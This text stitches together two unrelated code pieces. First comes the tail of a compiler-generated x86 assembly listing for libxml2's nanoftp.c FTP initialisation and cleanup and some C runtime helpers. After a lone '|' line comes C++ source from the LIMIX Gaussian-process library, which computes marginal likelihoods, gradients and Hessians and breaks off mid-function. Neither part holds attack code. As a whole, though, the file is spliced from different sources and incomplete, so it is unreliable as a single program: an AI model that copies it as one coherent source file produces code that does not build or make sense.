push eax
call DWORD PTR _xmlFree
add esp, 4
; 236 : proxyPasswd = NULL;
mov DWORD PTR _proxyPasswd, 0
$LN4@xmlNanoFTP:
; 237 : }
; 238 : #ifdef _WINSOCKAPI_
; 239 : if (initialized)
cmp DWORD PTR _initialized, 0
je SHORT $LN7@xmlNanoFTP
; 240 : WSACleanup();
call DWORD PTR __imp__WSACleanup@0
$LN7@xmlNanoFTP:
; 241 : #endif
; 242 : initialized = 0;
; 243 : }
mov DWORD PTR _initialized, 0
ret 0
_xmlNanoFTPCleanup ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPInit
_TEXT SEGMENT
_wsaData$ = -400 ; size = 400
_xmlNanoFTPInit PROC ; COMDAT
; 180 : xmlNanoFTPInit(void) {
push ebp
mov ebp, esp
sub esp, 400 ; 00000190H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _initialized, 0
jne $LN1@xmlNanoFTP
; 181 : const char *env;
; 182 : #ifdef _WINSOCKAPI_
; 183 : WSADATA wsaData;
; 184 : #endif
; 185 :
; 186 : if (initialized)
; 187 : return;
; 188 :
; 189 : #ifdef _WINSOCKAPI_
; 190 : if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
lea eax, DWORD PTR _wsaData$[ebp]
push eax
push 257 ; 00000101H
call DWORD PTR __imp__WSAStartup@8
test eax, eax
jne $LN1@xmlNanoFTP
; 191 : return;
; 192 : #endif
; 193 :
; 194 : proxyPort = 21;
push esi
; 195 : env = getenv("no_proxy");
mov esi, DWORD PTR __imp__getenv
push OFFSET ??_C@_08BOGLDIEC@no_proxy@
mov DWORD PTR _proxyPort, 21 ; 00000015H
call esi
add esp, 4
; 196 : if (env && ((env[0] == '*' ) && (env[1] == 0)))
test eax, eax
je SHORT $LN4@xmlNanoFTP
cmp BYTE PTR [eax], 42 ; 0000002aH
jne SHORT $LN4@xmlNanoFTP
cmp BYTE PTR [eax+1], 0
je SHORT $LN11@xmlNanoFTP
$LN4@xmlNanoFTP:
; 197 : return;
; 198 : env = getenv("ftp_proxy");
push OFFSET ??_C@_09FLGENLMF@ftp_proxy@
call esi
add esp, 4
; 199 : if (env != NULL) {
test eax, eax
jne SHORT $LN12@xmlNanoFTP
; 200 : xmlNanoFTPScanProxy(env);
; 201 : } else {
; 202 : env = getenv("FTP_PROXY");
push OFFSET ??_C@_09KECINPKO@FTP_PROXY@
call esi
add esp, 4
; 203 : if (env != NULL) {
test eax, eax
je SHORT $LN7@xmlNanoFTP
$LN12@xmlNanoFTP:
; 204 : xmlNanoFTPScanProxy(env);
; 205 : }
; 206 : }
; 207 : env = getenv("ftp_proxy_user");
push eax
call _xmlNanoFTPScanProxy
add esp, 4
$LN7@xmlNanoFTP:
push OFFSET ??_C@_0P@CAEEHGAA@ftp_proxy_user@
call esi
add esp, 4
; 208 : if (env != NULL) {
test eax, eax
je SHORT $LN8@xmlNanoFTP
; 209 : proxyUser = xmlMemStrdup(env);
push eax
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR _proxyUser, eax
$LN8@xmlNanoFTP:
; 210 : }
; 211 : env = getenv("ftp_proxy_password");
push OFFSET ??_C@_0BD@DKAPHOHE@ftp_proxy_password@
call esi
add esp, 4
; 212 : if (env != NULL) {
test eax, eax
je SHORT $LN9@xmlNanoFTP
; 213 : proxyPasswd = xmlMemStrdup(env);
push eax
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR _proxyPasswd, eax
$LN9@xmlNanoFTP:
; 214 : }
; 215 : initialized = 1;
mov DWORD PTR _initialized, 1
$LN11@xmlNanoFTP:
pop esi
$LN1@xmlNanoFTP:
; 216 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPInit ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT _sscanf
_TEXT SEGMENT
__Buffer$ = 8 ; size = 4
__Format$ = 12 ; size = 4
_sscanf PROC ; COMDAT
; 2270 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR __Format$[ebp]
; 2176 : return __stdio_common_vsscanf(
call ___local_stdio_scanf_options
lea ecx, DWORD PTR __Format$[ebp+4]
push ecx
push 0
push esi
push -1
push DWORD PTR __Buffer$[ebp]
push DWORD PTR [eax+4]
push DWORD PTR [eax]
call DWORD PTR __imp____stdio_common_vsscanf
add esp, 28 ; 0000001cH
; 2271 : int _Result;
; 2272 : va_list _ArgList;
; 2273 : __crt_va_start(_ArgList, _Format);
; 2274 : _Result = _vsscanf_l(_Buffer, _Format, NULL, _ArgList);
; 2275 : __crt_va_end(_ArgList);
; 2276 : return _Result;
pop esi
; 2277 : }
pop ebp
ret 0
_sscanf ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT __vsscanf_l
_TEXT SEGMENT
__Buffer$ = 8 ; size = 4
__Format$ = 12 ; size = 4
__Locale$ = 16 ; size = 4
__ArgList$ = 20 ; size = 4
__vsscanf_l PROC ; COMDAT
; 2175 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
call ___local_stdio_scanf_options
push DWORD PTR __ArgList$[ebp]
push DWORD PTR __Locale$[ebp]
push DWORD PTR __Format$[ebp]
push -1
push DWORD PTR __Buffer$[ebp]
push DWORD PTR [eax+4]
push DWORD PTR [eax]
call DWORD PTR __imp____stdio_common_vsscanf
add esp, 28 ; 0000001cH
; 2176 : return __stdio_common_vsscanf(
; 2177 : _CRT_INTERNAL_LOCAL_SCANF_OPTIONS,
; 2178 : _Buffer, (size_t)-1, _Format, _Locale, _ArgList);
; 2179 : }
pop ebp
ret 0
__vsscanf_l ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT _snprintf
_TEXT SEGMENT
__Buffer$ = 8 ; size = 4
__BufferCount$ = 12 ; size = 4
__Format$ = 16 ; size = 4
_snprintf PROC ; COMDAT
; 1948 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR __Format$[ebp]
; 1440 : int const _Result = __stdio_common_vsprintf(
call ___local_stdio_printf_options
lea ecx, DWORD PTR __Format$[ebp+4]
push ecx
push 0
mov ecx, DWORD PTR [eax]
push esi
push DWORD PTR __BufferCount$[ebp]
or ecx, 2
push DWORD PTR __Buffer$[ebp]
push DWORD PTR [eax+4]
push ecx
call DWORD PTR __imp____stdio_common_vsprintf
add esp, 28 ; 0000001cH
; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR,
; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList);
; 1443 :
; 1444 : return _Result < 0 ? -1 : _Result;
or ecx, -1
test eax, eax
cmovs eax, ecx
; 1949 : int _Result;
; 1950 : va_list _ArgList;
; 1951 : __crt_va_start(_ArgList, _Format);
; 1952 : #pragma warning(suppress:28719) // 28719
; 1953 : _Result = vsnprintf(_Buffer, _BufferCount, _Format, _ArgList);
; 1954 : __crt_va_end(_ArgList);
; 1955 : return _Result;
pop esi
; 1956 : }
pop ebp
ret 0
_snprintf ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT _vsnprintf
_TEXT SEGMENT
__Buffer$ = 8 ; size = 4
__BufferCount$ = 12 ; size = 4
__Format$ = 16 ; size = 4
__ArgList$ = 20 ; size = 4
_vsnprintf PROC ; COMDAT
; 1439 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
call ___local_stdio_printf_options
push DWORD PTR __ArgList$[ebp]
mov ecx, eax
push 0
push DWORD PTR __Format$[ebp]
push DWORD PTR __BufferCount$[ebp]
mov eax, DWORD PTR [ecx]
push DWORD PTR __Buffer$[ebp]
or eax, 2
push DWORD PTR [ecx+4]
push eax
call DWORD PTR __imp____stdio_common_vsprintf
or ecx, -1
add esp, 28 ; 0000001cH
test eax, eax
cmovs eax, ecx
; 1440 : int const _Result = __stdio_common_vsprintf(
; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR,
; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList);
; 1443 :
; 1444 : return _Result < 0 ? -1 : _Result;
; 1445 : }
pop ebp
ret 0
_vsnprintf ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; COMDAT ___local_stdio_scanf_options
_TEXT SEGMENT
___local_stdio_scanf_options PROC ; COMDAT
mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h
call @__CheckForDebuggerJustMyCode@4
mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_scanf_options@@9@9 ; `__local_stdio_scanf_options'::`2'::_OptionsStorage
ret 0
___local_stdio_scanf_options ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; COMDAT ___local_stdio_printf_options
_TEXT SEGMENT
___local_stdio_printf_options PROC ; COMDAT
mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h
call @__CheckForDebuggerJustMyCode@4
mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage
ret 0
___local_stdio_printf_options ENDP
_TEXT ENDS
END
|
// Copyright(c) 2014, The LIMIX developers(Christoph Lippert, Paolo Francesco Casale, Oliver Stegle)
//
//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
#include "gp_base.h"
#include "limix/utils/matrix_helper.h"
#include <sstream>
namespace limix {
using std::max;
/* CGPHyperParmas */
CGPHyperParams::CGPHyperParams(const CGPHyperParams &_param) : std::map<std::string,MatrixXd>(_param)
{
}
void CGPHyperParams::agetParamArray(VectorXd* out) const
{
CGPHyperParams mask;
agetParamArray(out,mask);
}
void CGPHyperParams::setParamArray(const VectorXd& param)
{
CGPHyperParams mask;
setParamArray(param,mask);
}
MatrixXd CGPHyperParams::filterMask(const MatrixXd& array,const MatrixXd& mask) const
{
//TODO: mask currently only supported for rows of array not on cols:
MatrixXd RV;
AfilterMask(RV,array,mask.col(0),VectorXd::Ones(array.cols()));
return RV;
}
void CGPHyperParams::expandMask(MatrixXd& out, const MatrixXd& array,const MatrixXd& mask) const
{
//TODO: mask currently only supported for rows of array not on cols:
AexpandMask(out,array,mask.col(0),VectorXd::Ones(array.cols()));
}
void CGPHyperParams::agetParamArray(VectorXd* out,const CGPHyperParams& mask) const
{
//1. get size
(*out).resize(this->getNumberParams(mask));
//2. loop through entries
muint_t ncurrent=0;
for(CGPHyperParams::const_iterator iter = this->begin(); iter!=this->end();iter++)
{
//1. get param object which can be a matrix or array:
MatrixXd value = (*iter).second;
std::string name = (*iter).first;
//2. check whether filter applied for this field
CGPHyperParams::const_iterator itf = mask.find(name);
if (itf!=mask.end())
value=filterMask(value,(*itf).second);
muint_t nc = value.rows()*value.cols();
//2. flatten to vector shape
value.resize(nc,1);
//3. add to vector
(*out).segment(ncurrent,nc) = value;
//4. increase pointer
ncurrent += nc;
}
}
void CGPHyperParams::setParamArray(const VectorXd& param,const CGPHyperParams& mask)
{
//1. check that param has correct shape
if ((muint_t)param.rows()!=getNumberParams(mask))
{
std::ostringstream os;
os << "Wrong number of params HyperParams structure (HyperParams structure:"<<getNumberParams()<<", paramArray:"<<param.rows()<<")!";
throw CLimixException(os.str());
}
muint_t nc;
MatrixXd value;
//2. loop through elements and slot in params
muint_t ncurrent=0;
for(CGPHyperParams::const_iterator iter = this->begin(); iter!=this->end();iter++)
{
std::string name = (*iter).first;
CGPHyperParams::const_iterator itf = mask.find(name);
if (itf!=mask.end())
{
const MatrixXd& mask_ = (*itf).second;
//number of elements depends on mask:
muint_t vr = mask_.col(0).count();
//TODO: masking of columns not supported
muint_t vc = (*iter).second.cols();
nc = vr*vc;
//get value and resize
MatrixXd value_ = param.segment(ncurrent,nc);
value_.resize(vr,vc);
//expand mask:
value = this->get(name);
//expand
expandMask(value,value_,mask_);
}
else
{
nc = (*iter).second.rows()*(*iter).second.cols();
//get elements:
value = param.segment(ncurrent,nc);
//reshape
value.resize((*iter).second.rows(),(*iter).second.cols());
//set
set(name,value);
}
set(name,value);
//std::cout << "name:" << name << "value:" << value << "\n\n";
//move on
ncurrent += nc;
}//end for
}
muint_t CGPHyperParams::getNumberParams() const
{
CGPHyperParams mask;
return getNumberParams(mask);
}
muint_t CGPHyperParams::getNumberParams(const CGPHyperParams& mask) const
{
muint_t nparams=0;
for(CGPHyperParams::const_iterator iter = this->begin(); iter!=this->end();iter++)
{
std::string name = (*iter).first;
MatrixXd value = (*iter).second;
CGPHyperParams::const_iterator itf = mask.find(name);
if (itf!=mask.end())
{
//mask case: number of parameters are determined by mask:
const MatrixXd& mask_ = (*itf).second;
//TODO: only support for row filter
nparams += mask_.col(0).count()*value.cols();
}
else
{
//no mask for this value
nparams+=value.rows()*value.cols();
}
}
return nparams;
}
void CGPHyperParams::set(const std::string& name, const MatrixXd& value)
{
(*this)[name] = value;
}
void CGPHyperParams::aget(MatrixXd* out, const std::string& name)
{
(*out) = (*this)[name];
}
std::vector<std::string> CGPHyperParams::getNames() const
{
std::vector<std::string> rv(this->size());
for(CGPHyperParams::const_iterator iter = this->begin(); iter!=this->end();iter++)
{
rv.push_back((*iter).first);
}
return rv;
}
bool CGPHyperParams::exists(std::string name) const
{
CGPHyperParams::const_iterator iter = this->find(name);
if (iter==this->end())
return false;
else
return true;
}
std::string CGPHyperParams::toString() const
{
std::ostringstream os;
os<<(*this);
return os.str();
}
std::ostream& operator <<(std::ostream &os,const CGPHyperParams &obj)
{
for(CGPHyperParams::const_iterator iter = obj.begin(); iter!=obj.end();iter++)
{
os << (*iter).first << ":" << "\n";
os << (*iter).second << "\n\n";
}
return os;
}
/* CGPCholCache */
CGPCholCache::CGPCholCache(CGPbase* gp)
{
this->gp = gp;
syncLik = Pbool(new bool);
syncData = Pbool(new bool);
syncCovar = Pbool(new bool);
this->covar = PCovarianceFunctionCacheOld(new CCovarianceFunctionCacheOld(gp->covar));
gp->lik->addSyncChild(syncLik);
covar->addSyncChild(syncCovar);
gp->dataTerm->addSyncChild(syncData);
//own sync state depends on lik, covar & dataterm
addSyncParent(syncLik);
addSyncParent(syncCovar);
addSyncParent(syncData);
//set all cache varibles to Null
this->KEffCacheNull=true;
this->KEffCholNull=true;
this->KEffInvCacheNull=true;
this->DKinv_KEffInvYYKEffInvCacheNull=true;
this->KEffInvYCacheNull=true;
this->YeffectiveCacheNull=true;
};
void CGPCholCache::setCovar(PCovarianceFunction covar)
{
this->covar->setCovar(covar);
}
void CGPCholCache::validateCache()
{
//std::cout << *syncCovar << "," << *syncData << "," << *syncLik << "\n";
//1. variables that depend on any of the caches
if ((! *syncCovar) || (! *syncData) || (! *syncLik))
{
KEffInvYCacheNull =true;
DKinv_KEffInvYYKEffInvCacheNull = true;
}
//2. varaibles that depend on covar or lik
if ((! *syncCovar) || (! *syncLik))
{
KEffCacheNull = true;
KEffCholNull = true;
KEffInvCacheNull = true;
}
//3. variables that on data term only
if (! *syncData)
{
YeffectiveCacheNull = true;
}
//restore sync
setSync();
//std::cout << *syncCovar << "," << *syncData << "," << *syncLik << "\n";
}
MatrixXd& CGPCholCache::rgetKEff()
{
validateCache();
if(KEffCacheNull)
{
KEffCache = covar->rgetK();
KEffCache += gp->lik->K();
KEffCacheNull=false;
}
return KEffCache;
}
MatrixXdChol& CGPCholCache::rgetKEffChol()
{
validateCache();
if(KEffCholNull)
{
KEffCholCache = MatrixXdChol(rgetKEff());
KEffCholNull=false;
}
return this->KEffCholCache;
}
MatrixXd& CGPCholCache::rgetKEffInv()
{
validateCache();
if (KEffInvCacheNull)
{
MatrixXdChol& chol = rgetKEffChol();
KEffInvCache = MatrixXd::Identity(chol.rows(),chol.rows());
//faster alternative for chol.SolvInPlace(caache.Kinv)
MatrixXd L = chol.matrixL();
L.triangularView<Eigen::Lower>().solveInPlace(KEffInvCache);
KEffInvCache.transpose()*=KEffInvCache.triangularView<Eigen::Lower>();
KEffInvCacheNull=false;
}
return KEffInvCache;
}
MatrixXd& CGPCholCache::rgetYeffective()
{
//Invalidate Cache?
validateCache();
if (YeffectiveCacheNull)
{
YeffectiveCache = gp->dataTerm->evaluate();
YeffectiveCacheNull=false;
}
return YeffectiveCache;
}
MatrixXd& CGPCholCache::rgetKEffInvY()
{
//Invalidate Cache?
validateCache();
if (KEffInvYCacheNull)
{
KEffInvYCache = rgetKEffChol().solve(this->rgetYeffective());
KEffInvYCacheNull=false;
}
return KEffInvYCache;
}
MatrixXd& CGPCholCache::getDKEffInv_KEffInvYYKinv()
{
//Invalidate Cache?
validateCache();
if (DKinv_KEffInvYYKEffInvCacheNull)
{
MatrixXd& KiY = rgetKEffInvY();
MatrixXd& Kinv = rgetKEffInv();
DKinv_KEffinvYYKEffinvCache = ((mfloat_t)(gp->getNumberDimension())) * (Kinv) - (KiY) * (KiY).transpose();
DKinv_KEffInvYYKEffInvCacheNull=false;
}
return DKinv_KEffinvYYKEffinvCache;
}
/* CGPbase */
CGPbase::CGPbase(PCovarianceFunction covar, PLikelihood lik,PDataTerm dataTerm)
{
this->covar = covar;
if(!dataTerm)
this->dataTerm = PDataTerm(new CData());
else
this->dataTerm = dataTerm;
if(!lik)
{
this->lik = PLikelihood(new CLikNormalIso());
}
else
this->lik = lik;
//init cache
this->cache = PGPCholCache(new CGPCholCache(this));
}
void CGPbase::setCovar(PCovarianceFunction covar)
{
this->covar = covar;
this->cache->setCovar(covar);
}
void CGPbase::setLik(PLikelihood lik)
{
this->lik = lik;
}
void CGPbase::setDataTerm(PDataTerm dataTerm)
{
this->dataTerm = dataTerm;
}
CGPbase::~CGPbase()
{
//check whether we need to fee dataTerm, Likelihood or Covar
//TODO
}
void CGPbase::set_data(MatrixXd& Y)
{
this->dataTerm->setY(Y);
}
void CGPbase::updateX(ACovarianceFunction& covar,const VectorXi& gplvmDimensions,const MatrixXd& X)
{
if (X.cols()!=gplvmDimensions.rows())
{
std::ostringstream os;
os << "CGPLvm X param update dimension missmatch. X("<<X.rows()<<","<<X.cols()<<") <-> gplvm_dimensions:"<<gplvmDimensions.rows()<<"!";
throw CLimixException(os.str());
}
//update
for (muint_t ic=0;ic<(muint_t)X.cols();ic++)
{
covar.setXcol(X.col(ic),gplvmDimensions(ic));
}
}
void CGPbase::updateParams()
{
if (this->params.exists("covar"))
this->covar->setParams(this->params["covar"]);
if (this->params.exists("lik"))
this->lik->setParams(this->params["lik"]);
if (params.exists("X"))
this->updateX(*covar,gplvmDimensions,params["X"]);
if (params.exists("dataTerm"))
this->dataTerm->setParams(this->params["dataTerm"]);
}
void CGPbase::setParams(const CGPHyperParams& hyperparams)
{
this->params = hyperparams;
updateParams();
}
void CGPbase::setParams(const CGPHyperParams& hyperparams,const CGPHyperParams& mask)
{
//TODO: implemenation missing
//std::cout << "implement me" << "\n";
this->params = hyperparams;
updateParams();
}
CGPHyperParams CGPbase::getParams() const
{
return this->params;
}
void CGPbase::setParamArray(const VectorXd& hyperparams)
{
this->params.setParamArray(hyperparams);
updateParams();
}
void CGPbase::setParamArray(const VectorXd& hyperparams,const CGPHyperParams& mask)
{
this->params.setParamArray(hyperparams,mask);
updateParams();
}
void CGPbase::agetParamArray(VectorXd* out) const
{
this->params.agetParamArray(out);
}
void CGPbase::agetY(MatrixXd* out)
{
(*out) = this->cache->rgetYeffective();
}
void CGPbase::setY(const MatrixXd& Y)
{
this->dataTerm->setY(Y);
this->lik->setX(MatrixXd::Zero(Y.rows(),0));
}
void CGPbase::agetX(CovarInput* out) const
{
this->covar->agetX(out);
}
void CGPbase::setX(const CovarInput& X)
{
//use covariance to set everything
this->covar->setX(X);
this->lik->setX(X);
if (isnull(gplvmDimensions))
{
if (X.cols()==1)
//special case for a single dimensions...
this->gplvmDimensions = VectorXi::Zero(1);
else
this->gplvmDimensions = VectorXi::LinSpaced(X.cols(),0,X.cols()-1);
}
}
void CGPbase::agetKEffInvYCache(MatrixXd* out)
{
(*out) = this->cache->rgetKEffInvY();
}
/* Marginal likelihood */
//wrappers:
mfloat_t CGPbase::LML(const CGPHyperParams& params)
{
setParams(params);
return LML();
}
mfloat_t CGPbase::LML(const VectorXd& params)
{
setParamArray(params);
return LML();
}
mfloat_t CGPbase::LML()
{
//update the covariance parameters
MatrixXdChol& chol = cache->rgetKEffChol();
//get effective Y:
MatrixXd& Yeff = cache->rgetYeffective();
//cout << Yeff<<endl;
//log-det:
mfloat_t lml_det = 0.5* (Yeff).cols()*logdet((chol));
//2. quadratic term
mfloat_t lml_quad = 0.0;
MatrixXd& KinvY = cache->rgetKEffInvY();
//quadratic form
lml_quad = 0.5*((KinvY).array() * (Yeff).array()).sum();
//sum of the log-Jacobian term
mfloat_t logJac = this->dataTerm->sumJacobianGradParams().sum();
//constants
mfloat_t lml_const = 0.5 * (Yeff).cols() * (Yeff).rows() * log((2.0 * PI));
return lml_quad + lml_det + lml_const - logJac;
};
/* Gradient interface functions:*/
void CGPbase::aLMLgrad(VectorXd* out,const CGPHyperParams& params)
{
setParams(params);
aLMLgrad(out);
}
void CGPbase::aLMLgrad(VectorXd* out,const VectorXd& paramArray)
{
setParamArray(paramArray);
aLMLgrad(out);
}
void CGPbase::aLMLgrad(VectorXd* out)
{
CGPHyperParams rv = LMLgrad();
rv.agetParamArray(out);
}
CGPHyperParams CGPbase::LMLgrad(const CGPHyperParams& params)
{
setParams(params);
return LMLgrad();
}
CGPHyperParams CGPbase::LMLgrad(const VectorXd& paramArray)
{
setParamArray(paramArray);
return LMLgrad();
}
/* Main routine: gradient calculation*/
CGPHyperParams CGPbase::LMLgrad()
{
CGPHyperParams rv;
//calculate gradients for parameter components in params:
if (params.exists("covar"))
{
VectorXd grad_covar;
aLMLgrad_covar(&grad_covar);
rv.set("covar",grad_covar);
}
if (params.exists("lik"))
{
VectorXd grad_lik;
aLMLgrad_lik(&grad_lik);
rv.set("lik",grad_lik);
}
if (params.exists("X"))
{
MatrixXd grad_X;
aLMLgrad_X(&grad_X);
rv.set("X",grad_X);
}
if (params.exists("dataTerm"))
{
MatrixXd grad_dataTerm;
aLMLgrad_dataTerm(&grad_dataTerm);
rv.set("dataTerm",grad_dataTerm);
}
return rv;
}
void CGPbase::aLMLgrad_covar(VectorXd* out)
{
//vector with results
VectorXd grad_covar(covar->getNumberParams());
//W:
MatrixXd& W = cache->getDKEffInv_KEffInvYYKinv();
//Kd cachine result
MatrixXd Kd;
for(muint_t param = 0;param < (muint_t)(grad_covar.rows());param++){
covar->aKgrad_param(&Kd,param);
grad_covar(param) = 0.5 * (Kd.array() * (W).array()).sum();
}
(*out) = grad_covar;
}
void CGPbase::aLMLgrad_lik(VectorXd* out)
{
LikParams grad_lik(lik->getNumberParams());
MatrixXd& W = cache->getDKEffInv_KEffInvYYKinv();
MatrixXd Kd;
for(muint_t row = 0 ; row<lik->getNumberParams(); ++row) //WARNING: conversion
{
lik->aKgrad_param(&Kd,row);
grad_lik(row) = 0.5*(Kd.array() * (W).array()).sum();
}
(*out) = grad_lik;
}
void CGPbase::aLMLgrad_X(MatrixXd* out)
{
//0. set output dimensions
(*out).resize(this->getNumberSamples(),this->gplvmDimensions.rows());
//1. get W:
MatrixXd& W = cache->getDKEffInv_KEffInvYYKinv();
//loop through GLVM dimensions and calculate gradient
MatrixXd WKgrad_X;
VectorXd Kdiag_grad_X;
for (muint_t ic=0;ic<(muint_t)this->gplvmDimensions.rows();ic++)
{
muint_t col = gplvmDimensions(ic);
//get gradient
covar->aKgrad_X(&WKgrad_X,col);
covar->aKdiag_grad_X(&Kdiag_grad_X,col);
WKgrad_X.diagonal() = Kdiag_grad_X;
//precalc elementwise product of W and K
WKgrad_X.array()*=(W).array();
MatrixXd t = (2*WKgrad_X.rowwise().sum() - WKgrad_X.diagonal());
(*out).col(ic) = 0.5* (2*WKgrad_X.rowwise().sum() - WKgrad_X.diagonal());
}
}
void CGPbase::aLMLgrad_dataTerm(MatrixXd* out)
{
//0. set output dimensions
(*out) = dataTerm->gradParams(this->cache->rgetKEffInvY());
}
/* Main routine: Hessian calculation*/
void CGPbase::aLMLhess(MatrixXd* out, stringVec vecLabels)
{
//Checks whether there are ripetions
bool redundancy=0;
for(muint_t i=0; i<(muint_t) vecLabels.size(); i++)
for(muint_t j=i+1; j<(muint_t) vecLabels.size(); j++)
if (vecLabels.at(i)==vecLabels.at(j)) redundancy=1;
if (redundancy==1) throw CLimixException("Ripetition not allowed");
//Checks if the labels are appropriate and extabilish the dimensions of the hessian
muint_t hess_dimens=0;
std::string sp1;
for(stringVec::const_iterator iter = vecLabels.begin(); iter!=vecLabels.end();iter++)
{
sp1 = iter[0];
if (sp1=="covar") hess_dimens+=covar->getNumberParams();
else if (sp1=="lik") hess_dimens+=lik->getNumberParams();
else if (sp1=="X") throw CLimixException("Not implemented");
else if (sp1=="dataTerm") throw CLimixException("Not implemented");
else throw CLimixException("Hyperparameter list not valid");
}
(*out).resize(hess_dimens,hess_dimens);
//(*out)=MatrixXd::Zero(hess_dimens,hess_dimens);
muint_t i=0;
muint_t j=0;
muint_t j1=0;
std::string sp2;
MatrixXd hess_part;
for(stringVec::const_iterator iter1 = vecLabels.begin(); iter1!=vecLabels.end();iter1++) {
sp1 = iter1[0];
if (sp1=="covar") {
aLMLhess_covar(&hess_part);
(*out).block(i,j,covar->getNumberParams(),covar->getNumberParams())=hess_part;
j+=covar->getNumberParams();
j1=j;
}
else if (sp1=="lik") {
aLMLhess_lik(&hess_part);
(*out).block(i,j,lik->getNumberParams(),lik->getNumberParams())=hess_part;
j+=lik->getNumberParams();
j1=j;
}
for(stringVec::const_iterator iter2 = iter1; iter2!=vecLabels.end();iter2++) {
sp2 = iter2[0];
if (sp1=="covar" && sp2=="lik") {
aLMLhess_covarlik(&hess_part);
(*out).block(i,j1,covar->getNumberParams(),lik->getNumberParams())=hess_part;
(*out).block(j1,i,lik->getNumberParams(),covar->getNumberParams())=hess_part.transpose();
j1+=covar->getNumberParams();
}
else if (sp1=="lik" && sp2=="covar") {
aLMLhess_covarlik(&hess_part);
(*out).block(i,j1,lik->getNumberParams(),covar->getNumberParams())=hess_part.transpose();
(*out).block(j1,i,covar->getNumberParams(),lik->getNumberParams())=hess_part;
j1+=covar->getNumberParams();
}
}
i=j;
}
}
void CGPbase::aLMLhess_covar(MatrixXd* out)
{
//set output dimensions
(*out).resize(covar->getNumberParams(),covar->getNumberParams());
//W:
MatrixXd& W = cache->getDKEffInv_KEffInvYYKinv();
//KyInv:
MatrixXd& KyInv = cache->rgetKEffInv();
//KyInvY=alpha e alpha*alpha.T:
MatrixXd& alpha = cache->rgetKEffInvY();
MatrixXd alpha2 = (alpha)*(alpha).transpose(); //This might be included in CGPCholCache
//Kd cachine result
MatrixXd Khess_param;
MatrixXd Kgrad_param;
MatrixXd T;
for(muint_t i = 0; i<(muint_t)(covar->getNumberParams()); i++) {
covar->aKgrad_param(&Kgrad_param,i);
T=KyInv*Kgrad_param*alpha2+alpha2*Kgrad_param*KyInv-KyInv*Kgrad_param*KyInv;
for(muint_t j = 0; j<(muint_t)(covar->getNumberParams());j++) {
covar->aKgrad_param(&Kgrad_param,j);
covar->aKhess_param(&Khess_param,i,j);
(*out)(i,j) = (T.array()*Kgrad_param.array()+W.array()*Khess_param.array()).sum();
}
}
(*out)*=0.5;
}
void CGPbase::aLMLhess_lik(MatrixXd* out)
{
//set output dimensions
(*out).resize(lik->getNumberParams(),lik->getNumberParams());
//W:
MatrixXd& W = cache->getDKEffInv_KEffInvYYKinv();
//KyInv:
MatrixXd& KyInv = cache->rgetKEffInv();
//KyInvY=alpha e alpha*alpha.T:
MatrixXd& alpha = cache->rgetKEffInvY();
MatrixXd alpha2 = (alpha)*(alpha).transpose(); //This might be included in CGPCholCache
//Kd cachine result
MatrixXd Khess_param;
MatrixXd Kgrad_param;
MatrixXd T;
for(muint_t i = 0; i<(muint_t)(lik->getNumberParams()); i++) {
lik->aKgrad_param(&Kgrad_param,i);
T=KyInv*Kgrad_param*alpha2+alpha2*Kgrad_param*KyInv-KyInv*Kgrad_param*KyInv;
for(muint_t j = 0; j<(muint_t)(lik->getNumberParams());j++) {
lik->aKgrad_param(&Kgrad_param,j);
lik->aKhess_param(&Khess_param,i,j);
(*out)(i,j) = (T.array()*Kgrad_param.array()+W.array()*Khess_param.array()).sum();
}
}
(*out)*=0.5;
}
void CGPbase::aLMLhess_covarlik(MatrixXd* out)
{
//set output dimensions
